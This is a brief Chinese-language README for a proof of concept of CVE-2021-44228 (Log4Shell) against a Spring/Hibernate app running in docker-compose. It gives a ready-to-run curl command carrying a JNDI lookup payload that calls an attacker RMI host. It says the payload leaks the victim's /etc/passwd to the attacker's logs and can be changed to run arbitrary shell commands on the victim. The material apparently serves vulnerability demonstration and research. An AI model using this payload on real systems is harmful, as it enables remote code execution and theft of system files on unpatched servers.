CVE-2021-44228 POC - Spring / Hibernate

该 POC 使用 Spring / Hibernate，不过类似的 rmi -> 反序列化 方法也可用于触发任何反序列化漏洞

TL;DR

$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'

你应该会看到受害者的 /etc/passwd 内容出现在 attacker 容器的日志中。 你可以替换 exploit 服务中的命令，以在受害者上运行任意 shell 命令。

受害者

受害者运行的是一个标准的 Spring Starter 应用，带有 "Spring Data JPA"（用于 Hibernate）、"Spring Web" 和 "H2"（作为数据存储）依赖。在此基础上仅做了 2 处修改

1. 移除测试
2. 将 slf4j 日志器替换为存在漏洞的 log4j

所有依赖均为最新版本。没有启用任何魔法标志。